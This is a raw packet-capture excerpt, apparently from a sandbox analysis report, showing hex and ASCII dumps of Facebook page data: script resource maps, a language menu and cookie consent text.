src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yy\/r\/_WajaEBM2S6.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"tjBqHnt":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/y9\/r\/kk2QV0S2XcD.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"+WLO04n":{"type":"js","src":"h
2023-05-28 08:43:58 UTC	2226	IN	Data Raw: 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 56 42 6b 55 53 33 6d 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 70 5c 2f 72 5c 2f 35 67 44 52 31 50 55 73 4d 54 7a 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 50 72 68 75 69 47 56 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 53 5c 2f 72 5c 2f 72 4f 35 4f 58 36 56 77 45 32 50 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 Data Ascii: _x=Ij3Wp8lg5Kz","nc":1},"VBkUS3m":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yp\/r\/5gDR1PUsMTz.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"PrhuiGV":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/yS\/r\/rO5OX6VwE2P.js?_nc_x=Ij3W
2023-05-28 08:43:58 UTC	2227	IN	Data Raw: 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 4c 6c 35 34 5c 2f 79 65 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 63 4c 77 67 72 47 64 68 45 5f 4e 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 48 6c 37 70 69 38 79 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 64 6a 5a 34 5c 2f 79 68 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 47 51 4c 5a 63 70 48 5a 6b 78 73 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 34 4d 39 4d 57 4e 67 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 Data Ascii: ic.xx.fbcdn.net\/rsrc.php\/v3iLl54\/ye\/l\/en_US\/cLwgrGdhE_N.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"Hl7pi8y":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3idjZ4\/yh\/l\/en_US\/GQLZcpHZkxs.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"4M9MWNg":{"type":"js","src
2023-05-28 08:43:58 UTC	2229	IN	Data Raw: 76 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 5c 2f 79 37 5c 2f 72 5c 2f 67 5f 5f 65 56 35 4f 58 53 58 6c 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 58 69 6d 34 7a 64 32 22 3a 7b 22 74 79 70 65 22 3a 22 6a 73 22 2c 22 73 72 63 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 74 61 74 69 63 2e 78 78 2e 66 62 63 64 6e 2e 6e 65 74 5c 2f 72 73 72 63 2e 70 68 70 5c 2f 76 33 69 6e 4e 47 34 5c 2f 79 30 5c 2f 6c 5c 2f 65 6e 5f 55 53 5c 2f 30 2d 78 70 6f 75 62 65 79 66 63 2e 6a 73 3f 5f 6e 63 5f 78 3d 49 6a 33 57 70 38 6c 67 35 4b 7a 22 2c 22 6e 63 22 3a 31 7d 2c 22 6f Data Ascii: v":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3\/y7\/r\/g__eV5OXSXl.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"Xim4zd2":{"type":"js","src":"https:\/\/static.xx.fbcdn.net\/rsrc.php\/v3inNG4\/y0\/l\/en_US\/0-xpoubeyfc.js?_nc_x=Ij3Wp8lg5Kz","nc":1},"o
2023-05-28 08:43:58 UTC	2230	IN	Data Raw: 33 52 73 62 32 46 6b 5a 58 4a 66 55 46 39 74 63 6a 56 57 52 58 74 6b 61 58 4e 77 62 47 46 35 4f 6d 4a 73 62 32 4e 72 49 57 6c 74 63 47 39 79 64 47 46 75 64 44 74 39 22 2c 22 6e 63 22 3a 31 2c 22 64 22 3a 31 7d 7d 2c 22 63 6f 6d 70 4d 61 70 22 3a 7b 22 44 6f 63 6b 22 3a 7b 22 72 22 3a 5b 22 6d 64 58 79 55 44 4c 22 2c 22 56 62 79 37 6e 70 4a 22 2c 22 6e 38 76 39 64 53 37 22 2c 22 66 6e 78 50 67 77 5c 2f 22 2c 22 39 4e 4d 46 2b 71 78 22 2c 22 4f 4c 55 6e 71 7a 41 22 2c 22 5a 54 65 6e 56 2b 41 22 2c 22 64 4d 62 35 77 53 64 22 2c 22 37 5a 37 73 79 33 6c 22 2c 22 70 35 78 5c 2f 67 6b 6c 22 5d 2c 22 62 65 22 3a 31 7d 2c 22 57 65 62 53 70 65 65 64 49 6e 74 65 72 61 63 74 69 6f 6e 73 54 79 70 65 64 4c 6f 67 67 65 72 22 3a 7b 22 72 22 3a 5b 22 69 71 61 4e 64 37 76 Data Ascii: 3Rsb2FkZXJfUF9tcjVWRXtkaXNwbGF5OmJsb2NrIWltcG9ydGFudDt9","nc":1,"d":1}},"compMap":{"Dock":{"r":["mdXyUDL","Vby7npJ","n8v9dS7","fnxPgw\/","9NMF+qx","OLUnqzA","ZTenV+A","dMb5wSd","7Z7sy3l","p5x\/gkl"],"be":1},"WebSpeedInteractionsTypedLogger":{"r":["iqaNd7v
2023-05-28 08:43:58 UTC	2232	IN	Data Raw: 62 36 22 2c 22 6d 64 58 79 55 44 4c 22 2c 22 64 41 57 4e 5a 5c 2f 73 22 2c 22 48 73 64 37 5a 32 56 22 2c 22 49 5c 2f 54 5a 6e 65 4f 22 2c 22 67 50 71 33 71 4c 79 22 2c 22 56 62 79 37 6e 70 4a 22 2c 22 55 43 36 63 31 75 4e 22 2c 22 5c 2f 7a 62 78 51 33 46 22 2c 22 38 58 36 73 37 59 30 22 2c 22 4f 58 56 2b 75 56 31 22 2c 22 5c 2f 41 4e 38 42 74 35 22 2c 22 5a 75 38 59 73 77 73 22 2c 22 77 50 39 53 72 58 54 22 2c 22 70 45 52 71 32 6e 71 22 2c 22 4c 66 46 65 36 6b 71 22 2c 22 32 52 47 45 70 78 50 22 2c 22 73 53 64 55 49 53 45 22 2c 22 5c 2f 4b 51 69 52 45 74 22 2c 22 50 75 64 36 42 32 5a 22 2c 22 69 31 76 44 4b 74 39 22 2c 22 79 57 6f 30 41 5a 31 22 2c 22 66 6e 78 50 67 77 5c 2f 22 2c 22 39 6e 56 62 58 4a 65 22 2c 22 65 2b 54 54 45 56 4a 22 2c 22 6f 49 42 69 Data Ascii: b6","mdXyUDL","dAWNZ\/s","Hsd7Z2V","I\/TZneO","gPq3qLy","Vby7npJ","UC6c1uN","\/zbxQ3F","8X6s7Y0","OXV+uV1","\/AN8Bt5","Zu8Ysws","wP9SrXT","pERq2nq","LfFe6kq","2RGEpxP","sSdUISE","\/KQiREt","Pud6B2Z","i1vDKt9","yWo0AZ1","fnxPgw\/","9nVbXJe","e+TTEVJ","oIBi
2023-05-28 08:43:58 UTC	2233	IN	Data Raw: 2c 22 54 6c 6d 30 35 5c 2f 70 22 2c 22 37 5a 37 73 79 33 6c 22 5d 2c 22 72 64 73 22 3a 7b 22 6d 22 3a 5b 22 46 62 74 4c 6f 67 67 69 6e 67 22 2c 22 49 6e 74 6c 51 74 45 76 65 6e 74 46 61 6c 63 6f 45 76 65 6e 74 22 5d 2c 22 72 22 3a 5b 22 33 63 7a 38 47 65 70 22 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 41 73 79 6e 63 44 69 61 6c 6f 67 22 3a 7b 22 72 22 3a 5b 22 72 54 38 4d 6d 58 38 22 2c 22 52 35 77 31 72 43 4a 22 2c 22 6d 64 58 79 55 44 4c 22 2c 22 48 73 64 37 5a 32 56 22 2c 22 49 5c 2f 54 5a 6e 65 4f 22 2c 22 67 50 71 33 71 4c 79 22 2c 22 56 62 79 37 6e 70 4a 22 2c 22 4c 66 46 65 36 6b 71 22 2c 22 69 31 76 44 4b 74 39 22 2c 22 66 6e 78 50 67 77 5c 2f 22 2c 22 62 4f 67 54 50 47 61 22 2c 22 52 58 63 44 42 6c 42 22 2c 22 39 4e 4d 46 2b 71 78 22 2c 22 6e 61 45 63 Data Ascii: ,"Tlm05\/p","7Z7sy3l"],"rds":{"m":["FbtLogging","IntlQtEventFalcoEvent"],"r":["3cz8Gep"]},"be":1},"AsyncDialog":{"r":["rT8MmX8","R5w1rCJ","mdXyUDL","Hsd7Z2V","I\/TZneO","gPq3qLy","Vby7npJ","LfFe6kq","i1vDKt9","fnxPgw\/","bOgTPGa","RXcDBlB","9NMF+qx","naEc
2023-05-28 08:43:58 UTC	2235	IN	Data Raw: 5d 7d 2c 22 62 65 22 3a 31 7d 2c 22 45 78 63 65 70 74 69 6f 6e 44 69 61 6c 6f 67 22 3a 7b 22 72 22 3a 5b 22 72 54 38 4d 6d 58 38 22 2c 22 52 35 77 31 72 43 4a 22 2c 22 70 74 4a 6e 75 7a 73 22 2c 22 6d 64 58 79 55 44 4c 22 2c 22 48 73 64 37 5a 32 56 22 2c 22 49 5c 2f 54 5a 6e 65 4f 22 2c 22 67 50 71 33 71 4c 79 22 2c 22 56 62 79 37 6e 70 4a 22 2c 22 6a 78 67 49 7a 71 48 22 2c 22 4c 66 46 65 36 6b 71 22 2c 22 69 31 76 44 4b 74 39 22 2c 22 66 6e 78 50 67 77 5c 2f 22 2c 22 48 6c 37 70 69 38 79 22 2c 22 79 32 4e 52 53 33 48 22 2c 22 62 4f 67 54 50 47 61 22 2c 22 54 58 7a 4a 35 48 46 22 2c 22 52 58 63 44 42 6c 42 22 2c 22 39 4e 4d 46 2b 71 78 22 2c 22 6e 61 45 63 72 4f 47 22 2c 22 73 34 57 30 58 46 5c 2f 22 2c 22 48 4c 54 48 42 46 4f 22 2c 22 4f 4c 55 6e 71 7a Data Ascii: ]},"be":1},"ExceptionDialog":{"r":["rT8MmX8","R5w1rCJ","ptJnuzs","mdXyUDL","Hsd7Z2V","I\/TZneO","gPq3qLy","Vby7npJ","jxgIzqH","LfFe6kq","i1vDKt9","fnxPgw\/","Hl7pi8y","y2NRS3H","bOgTPGa","TXzJ5HF","RXcDBlB","9NMF+qx","naEcrOG","s4W0XF\/","HLTHBFO","OLUnqz
2023-05-28 08:43:58 UTC	2236	IN	Data Raw: 31 35 32 64 0d 0a 56 76 56 46 77 38 6e 22 5d 2c 22 62 65 22 3a 31 7d 2c 22 43 6f 6e 74 65 78 74 75 61 6c 4c 61 79 65 72 49 6e 6c 69 6e 65 54 61 62 4f 72 64 65 72 22 3a 7b 22 72 22 3a 5b 22 6d 64 58 79 55 44 4c 22 2c 22 56 62 79 37 6e 70 4a 22 2c 22 61 35 4f 7a 5a 7a 6e 22 2c 22 39 4e 4d 46 2b 71 78 22 2c 22 4f 4c 55 6e 71 7a 41 22 2c 22 5a 54 65 6e 56 2b 41 22 2c 22 64 4d 62 35 77 53 64 22 2c 22 70 35 78 5c 2f 67 6b 6c 22 5d 2c 22 62 65 22 3a 31 7d 2c 22 58 55 49 44 69 61 6c 6f 67 42 75 74 74 6f 6e 2e 72 65 61 63 74 22 3a 7b 22 72 22 3a 5b 22 72 54 38 4d 6d 58 38 22 2c 22 52 35 77 31 72 43 4a 22 2c 22 6d 64 58 79 55 44 4c 22 2c 22 4c 66 46 65 36 6b 71 22 2c 22 69 31 76 44 4b 74 39 22 2c 22 66 6e 78 50 67 77 5c 2f 22 2c 22 54 58 7a 4a 35 48 46 22 2c 22 52 Data Ascii: 152dVvVFw8n"],"be":1},"ContextualLayerInlineTabOrder":{"r":["mdXyUDL","Vby7npJ","a5OzZzn","9NMF+qx","OLUnqzA","ZTenV+A","dMb5wSd","p5x\/gkl"],"be":1},"XUIDialogButton.react":{"r":["rT8MmX8","R5w1rCJ","mdXyUDL","LfFe6kq","i1vDKt9","fnxPgw\/","TXzJ5HF","R
2023-05-28 08:43:58 UTC	2237	IN	Data Raw: 64 65 72 22 5d 2c 20 66 75 6e 63 74 69 6f 6e 28 49 6e 69 74 69 61 6c 4a 53 4c 6f 61 64 65 72 29 20 7b 49 6e 69 74 69 61 6c 4a 53 4c 6f 61 64 65 72 2e 6c 6f 61 64 4f 6e 44 4f 4d 43 6f 6e 74 65 6e 74 52 65 61 64 79 28 5b 22 2b 7a 79 76 38 55 65 22 2c 22 37 5a 37 73 79 33 6c 22 2c 22 33 63 7a 38 47 65 70 22 2c 22 67 50 71 33 71 4c 79 22 2c 22 56 62 79 37 6e 70 4a 22 2c 22 5c 2f 41 4e 38 42 74 35 22 2c 22 4f 4c 55 6e 71 7a 41 22 2c 22 5a 54 65 6e 56 2b 41 22 2c 22 4c 66 46 65 36 6b 71 22 2c 22 39 4e 4d 46 2b 71 78 22 2c 22 73 34 57 30 58 46 5c 2f 22 2c 22 39 4d 6f 67 77 72 54 22 2c 22 69 31 76 44 4b 74 39 22 2c 22 32 52 47 45 70 78 50 22 2c 22 52 35 77 31 72 43 4a 22 2c 22 66 6e 78 50 67 77 5c 2f 22 2c 22 70 35 78 5c 2f 67 6b 6c 22 2c 22 64 41 57 4e 5a 5c 2f Data Ascii: der"], function(InitialJSLoader) {InitialJSLoader.loadOnDOMContentReady(["+zyv8Ue","7Z7sy3l","3cz8Gep","gPq3qLy","Vby7npJ","\/AN8Bt5","OLUnqzA","ZTenV+A","LfFe6kq","9NMF+qx","s4W0XF\/","9MogwrT","i1vDKt9","2RGEpxP","R5w1rCJ","fnxPgw\/","p5x\/gkl","dAWNZ\/
2023-05-28 08:43:58 UTC	2239	IN	Data Raw: 6f 63 6b 6c 69 73 74 65 64 5f 64 6f 6d 61 69 6e 73 22 3a 5b 22 61 64 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 22 2c 22 61 64 73 2d 65 6e 63 72 79 70 74 69 6f 6e 2d 75 72 6c 2d 65 78 61 6d 70 6c 65 2e 63 6f 6d 22 2c 22 62 73 2e 73 65 72 76 69 6e 67 2d 73 79 73 2e 63 6f 6d 22 2c 22 61 64 2e 61 74 64 6d 74 2e 63 6f 6d 22 2c 22 61 64 66 6f 72 6d 2e 6e 65 74 22 2c 22 61 64 31 33 2e 61 64 66 61 72 6d 31 2e 61 64 69 74 69 6f 6e 2e 63 6f 6d 22 2c 22 69 6c 6f 76 65 6d 79 66 72 65 65 64 6f 6d 73 2e 63 6f 6d 22 2c 22 73 65 63 75 72 65 2e 61 64 6e 78 73 2e 63 6f 6d 22 5d 2c 22 69 73 5f 6d 6f 62 69 6c 65 5f 64 65 76 69 63 65 22 3a 66 61 6c 73 65 7d 2c 32 37 5d 5d 2c 22 69 6e 73 74 61 6e 63 65 73 22 3a 5b 5b 22 5f 5f 69 6e 73 74 5f 30 32 31 38 32 30 31 35 5f 30 Data Ascii: ocklisted_domains":["ad.doubleclick.net","ads-encryption-url-example.com","bs.serving-sys.com","ad.atdmt.com","adform.net","ad13.adfarm1.adition.com","ilovemyfreedoms.com","secure.adnxs.com"],"is_mobile_device":false},27]],"instances":[["__inst_02182015_0
2023-05-28 08:43:58 UTC	2240	IN	Data Raw: 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 31 5f 32 5a 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 44 61 6e 73 6b 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 64 65 5f 44 45 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 32 5f 6f 49 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 44 65 75 74 73 63 68 Data Ascii: Item"},"markup":{"__m":"__markup_3310c079_0_1_2Z"},"label":"Dansk","title":"","className":"headerItem"},{"class":"headerItem","value":"de_DE","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_2_oI"},"label":"Deutsch
2023-05-28 08:43:58 UTC	2241	IN	Data Raw: 31 64 32 37 0d 0a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 36 5f 5c 2f 73 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 45 73 70 61 5c 75 30 30 66 31 6f 6c 20 28 45 73 70 61 5c 75 30 30 66 31 61 29 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 66 72 5f 46 52 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d Data Ascii: 1d27false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_6_\/s"},"label":"Espa\u00f1ol (Espa\u00f1a)","title":"","className":"headerItem"},{"class":"headerItem","value":"fr_FR","selected":false,"ctor":{"__m":"MenuSelectableItem
2023-05-28 08:43:58 UTC	2243	IN	Data Raw: 69 6c 29 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 70 74 5f 50 54 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 65 5f 34 4a 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 50 6f 72 74 75 67 75 5c 75 30 30 65 61 73 20 28 50 6f 72 74 75 67 61 6c 29 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 Data Ascii: il)","title":"","className":"headerItem"},{"class":"headerItem","value":"pt_PT","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_e_4J"},"label":"Portugu\u00eas (Portugal)","title":"","className":"headerItem"},{"cla
2023-05-28 08:43:58 UTC	2244	IN	Data Raw: 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 6c 5f 35 54 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 5c 75 30 33 39 35 5c 75 30 33 62 62 5c 75 30 33 62 62 5c 75 30 33 62 37 5c 75 30 33 62 64 5c 75 30 33 62 39 5c 75 30 33 62 61 5c 75 30 33 61 63 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 72 75 5f 52 55 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 Data Ascii: enuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_l_5T"},"label":"\u0395\u03bb\u03bb\u03b7\u03bd\u03b9\u03ba\u03ac","title":"","className":"headerItem"},{"class":"headerItem","value":"ru_RU","selected":false,"ctor":{"__m":"MenuSelectableItem"},"mar
2023-05-28 08:43:58 UTC	2245	IN	Data Raw: 61 6c 75 65 22 3a 22 7a 68 5f 43 4e 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 4d 65 6e 75 53 65 6c 65 63 74 61 62 6c 65 49 74 65 6d 22 7d 2c 22 6d 61 72 6b 75 70 22 3a 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 33 33 31 30 63 30 37 39 5f 30 5f 73 5f 4e 62 22 7d 2c 22 6c 61 62 65 6c 22 3a 22 5c 75 34 65 32 64 5c 75 36 35 38 37 28 5c 75 37 62 38 30 5c 75 34 66 35 33 29 22 2c 22 74 69 74 6c 65 22 3a 22 22 2c 22 63 6c 61 73 73 4e 61 6d 65 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 7d 2c 7b 22 63 6c 61 73 73 22 3a 22 68 65 61 64 65 72 49 74 65 6d 22 2c 22 76 61 6c 75 65 22 3a 22 7a 68 5f 48 4b 22 2c 22 73 65 6c 65 63 74 65 64 22 3a 66 61 6c 73 65 2c 22 63 74 6f 72 22 3a 7b 22 5f 5f 6d 22 3a 22 Data Ascii: alue":"zh_CN","selected":false,"ctor":{"__m":"MenuSelectableItem"},"markup":{"__m":"__markup_3310c079_0_s_Nb"},"label":"\u4e2d\u6587(\u7b80\u4f53)","title":"","className":"headerItem"},{"class":"headerItem","value":"zh_HK","selected":false,"ctor":{"__m":"
2023-05-28 08:43:58 UTC	2247	IN	Data Raw: 6f 2d 77 22 5d 7d 2c 7b 22 5f 5f 6d 22 3a 22 5f 5f 6d 61 72 6b 75 70 5f 39 66 35 66 61 63 31 35 5f 30 5f 30 5f 55 4f 22 7d 5d 2c 33 5d 2c 5b 22 5f 5f 69 6e 73 74 5f 65 35 61 64 32 34 33 64 5f 30 5f 30 5f 59 56 22 2c 5b 22 50 6f 70 6f 76 65 72 4d 65 6e 75 22 2c 22 5f 5f 69 6e 73 74 5f 31 64 65 31 34 36 64 63 5f 30 5f 30 5f 67 45 22 2c 22 5f 5f 65 6c 65 6d 5f 65 63 37 37 61 66 62 64 5f 30 5f 30 5f 32 78 22 2c 22 5f 5f 69 6e 73 74 5f 30 32 31 38 32 30 31 35 5f 30 5f 30 5f 35 64 22 2c 22 50 6f 70 6f 76 65 72 4d 65 6e 75 43 6f 6e 74 65 78 74 4d 69 6e 57 69 64 74 68 22 5d 2c 5b 7b 22 5f 5f 6d 22 3a 22 5f 5f 69 6e 73 74 5f 31 64 65 31 34 36 64 63 5f 30 5f 30 5f 67 45 22 7d 2c 7b 22 5f 5f 6d 22 3a 22 5f 5f 65 6c 65 6d 5f 65 63 37 37 61 66 62 64 5f 30 5f 30 5f 32 Data Ascii: o-w"]},{"__m":"__markup_9f5fac15_0_0_UO"}],3],["__inst_e5ad243d_0_0_YV",["PopoverMenu","__inst_1de146dc_0_0_gE","__elem_ec77afbd_0_0_2x","__inst_02182015_0_0_5d","PopoverMenuContextMinWidth"],[{"__m":"__inst_1de146dc_0_0_gE"},{"__m":"__elem_ec77afbd_0_0_2
2023-05-28 08:43:58 UTC	2248	IN	Data Raw: 33 32 30 39 0d 0a 6c 6f 77 20 74 68 65 20 75 73 65 20 6f 66 20 63 6f 6f 6b 69 65 73 20 62 79 20 46 61 63 65 62 6f 6f 6b 20 6f 6e 20 74 68 69 73 20 62 72 6f 77 73 65 72 3f 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 35 30 5c 22 3e 5c 75 30 30 33 43 64 69 76 3e 5c 75 30 30 33 43 70 3e 57 65 20 75 73 65 20 63 6f 6f 6b 69 65 73 20 61 6e 64 20 73 69 6d 69 6c 61 72 20 74 65 63 68 6e 6f 6c 6f 67 69 65 73 20 74 6f 20 68 65 6c 70 20 70 72 6f 76 69 64 65 20 61 6e 64 20 69 6d 70 72 6f 76 65 20 63 6f 6e 74 65 6e 74 20 6f 6e 20 5c 75 30 30 33 43 61 20 68 72 65 66 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 Data Ascii: 3209low the use of cookies by Facebook on this browser?\u003C\/div>\u003C\/div>\u003C\/div>\u003Cdiv class=\"_al50\">\u003Cdiv>\u003Cp>We use cookies and similar technologies to help provide and improve content on \u003Ca href=\"https:\/\/www.facebook.c
2023-05-28 08:43:58 UTC	2250	IN	Data Raw: 63 3d 5c 22 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 6f 6b 69 65 73 5c 2f 63 6f 6f 6b 69 65 5f 69 6e 66 6f 5f 63 61 72 64 5f 69 6d 61 67 65 5f 31 2e 70 6e 67 5c 22 20 61 6c 74 3d 5c 22 62 61 63 6b 67 72 6f 75 6e 64 20 69 6d 61 67 65 5c 22 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 34 7a 5c 22 20 5c 2f 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 34 5f 5c 22 3e 5c 75 30 30 33 43 64 69 76 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 34 2d 5c 22 3e 57 68 61 74 20 61 72 65 20 63 6f 6f 6b 69 65 73 3f 5c 75 30 30 33 43 5c 2f 64 69 76 3e 5c 75 30 30 33 43 62 75 74 74 6f 6e 20 63 6c 61 73 73 3d 5c 22 5f 61 6c 36 36 5c 22 3e 4c 65 61 72 6e 20 6d 6f 72 65 5c 75 30 30 33 43 5c 2f 62 75 74 Data Ascii: c=\"https:\/\/www.facebook.com\/images\/cookies\/cookie_info_card_image_1.png\" alt=\"background image\" class=\"_al4z\" \/>\u003Cdiv class=\"_al4_\">\u003Cdiv class=\"_al4-\">What are cookies?\u003C\/div>\u003Cbutton class=\"_al66\">Learn more\u003C\/but
